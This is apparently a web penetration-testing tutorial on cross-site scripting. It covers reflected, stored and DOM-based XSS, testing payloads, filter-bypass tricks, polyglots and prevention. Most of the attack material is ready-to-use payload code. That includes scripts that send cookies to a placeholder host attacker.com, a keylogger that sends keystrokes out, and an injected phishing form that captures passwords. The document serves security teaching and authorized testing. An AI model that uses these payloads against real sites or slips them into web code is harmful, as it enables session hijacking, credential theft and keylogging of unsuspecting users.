Cross-Site Scripting (XSS) is one of the most common web application vulnerabilities. This tutorial explains how XSS works, the different types of XSS attacks, and how to find and exploit them during security assessments.
What is Cross-Site Scripting (XSS)?
XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. This allows attackers to execute malicious scripts in victims’ browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
Types of XSS
Reflected XSS
The malicious script comes from the current HTTP request. The payload is reflected off the web server in error messages, search results, or any response that includes user input.
# Vulnerable URL
http://target.com/search?q=<script>alert(1)</script>
# The server reflects the input in the response
<p>Search results for: <script>alert(1)</script></p>
Stored XSS
The malicious script is permanently stored on the target server (in a database, comment field, forum post, etc.). Every user who views the affected page executes the payload.
# Attacker submits this as a comment
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
# Every user viewing the comment page has their cookies stolen
DOM-Based XSS
The vulnerability exists in client-side code rather than server-side. The payload is executed as a result of modifying the DOM environment in the victim’s browser.
# Vulnerable JavaScript
var search = document.location.hash.substring(1);
document.getElementById("results").innerHTML = search;
# Attack URL
http://target.com/page#<img src=x onerror=alert(1)>
Finding XSS Vulnerabilities
Common Injection Points
- Search boxes and search results
- Comment and feedback forms
- User profile fields (name, bio, etc.)
- URL parameters
- HTTP headers (User-Agent, Referer)
- File upload names
- Error messages
Basic Testing Payloads
# Simple alert
<script>alert(1)</script>
<script>alert('XSS')</script>
# Without script tags
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
# Event handlers
<div onmouseover=alert(1)>hover me</div>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
# Breaking out of attributes
" onclick=alert(1)>
' onclick=alert(1)>
" onfocus=alert(1) autofocus="
# Breaking out of JavaScript strings
';alert(1)//
";alert(1)//
</script><script>alert(1)</script>
XSS Filter Bypass Techniques
Case Manipulation
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x oNeRrOr=alert(1)>
Encoding
# URL encoding
%3Cscript%3Ealert(1)%3C/script%3E
# HTML encoding
<script>alert(1)</script>
# Unicode encoding
<script>\u0061lert(1)</script>
# Hex encoding
<script>alert(String.fromCharCode(88,83,83))</script>
Tag and Event Variations
# Different tags
<svg/onload=alert(1)>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
<iframe src="javascript:alert(1)">
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
# Different events
<body onpageshow=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<input onblur=alert(1) autofocus><input autofocus>
Bypassing Blacklists
# If "script" is blocked
<scr<script>ipt>alert(1)</scr</script>ipt>
# If "alert" is blocked
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>[].constructor.constructor('alert(1)')()</script>
# If parentheses are blocked
<script>alert`1`</script>
<img src=x onerror=alert`1`>
# If spaces are blocked
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
XSS Exploitation
Cookie Stealing
<script>
new Image().src="http://attacker.com/steal?c="+document.cookie;
</script>
<script>
fetch('http://attacker.com/steal?c='+document.cookie);
</script>
<img src=x onerror="this.src='http://attacker.com/steal?c='+document.cookie">
Session Hijacking
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/log?cookie='+document.cookie, true);
xhr.send();
</script>
Keylogging
<script>
document.onkeypress = function(e) {
new Image().src = "http://attacker.com/log?key=" + e.key;
}
</script>
Phishing
<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/phish" method="POST">Username: <input name="user"><br>Password: <input type="password" name="pass"><br><input type="submit" value="Login"></form>';
</script>
DOM XSS Sources and Sinks
Common Sources (User Input)
document.URL
document.documentURI
document.referrer
location.href
location.search
location.hash
window.name
Common Sinks (Dangerous Functions)
# HTML sinks
element.innerHTML
element.outerHTML
document.write()
document.writeln()
# JavaScript execution sinks
eval()
setTimeout()
setInterval()
Function()
# Location sinks
location.href
location.assign()
location.replace()
XSS Testing Tools
Browser Developer Tools
Use the browser console to test JavaScript execution and inspect the DOM for injection points.
Burp Suite
Intercept requests and modify parameters to inject XSS payloads. The Scanner (Pro) can automatically detect XSS vulnerabilities.
XSS Hunter
A tool for finding blind XSS vulnerabilities. It provides payloads that call back to your server when executed.
XSS Polyglots
Polyglots are payloads designed to execute in multiple contexts:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\\x3e
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'>"></script><script>alert(1)</script>">'><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23telerikWebUI.Page_ClientState=)>'">
Prevention Overview
Understanding prevention helps identify where developers may have made mistakes:
- Output encoding: Encode data based on context (HTML, JavaScript, URL, CSS)
- Content Security Policy (CSP): Restrict script execution sources
- HttpOnly cookies: Prevent JavaScript access to session cookies
- Input validation: Whitelist allowed characters where possible
- Modern frameworks: React, Angular, and Vue auto-escape by default
Summary
XSS remains one of the most prevalent web vulnerabilities. Mastering different payload types, filter bypasses, and exploitation techniques is essential for web application penetration testing. Always test with authorization and report vulnerabilities responsibly.
